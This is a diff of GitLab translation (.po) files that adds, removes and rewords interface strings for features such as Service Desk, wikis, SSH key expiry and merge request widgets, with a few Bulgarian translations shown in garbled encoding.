+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "зададете парола"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "Етапът на подготовка за издаване показва времето между прилагането на заÑвката за Ñливане и внедрÑването на кода в Ñредата на работещата крайна верÑиÑ. Данните ще бъдат добавени автоматично Ñлед като направите първото Ñи внедрÑване в крайната верÑиÑ."
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "Преглед на отворената заÑвка за Ñливане"
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr "Ðуждаете Ñе от разрешение."
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/bn_BD/gitlab.po b/locale/bn_BD/gitlab.po
index 8c7de4a7da9..19ddd00ee47 100644
--- a/locale/bn_BD/gitlab.po
+++ b/locale/bn_BD/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: bn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:49\n"
+"PO-Revision-Date: 2021-04-02 00:09\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
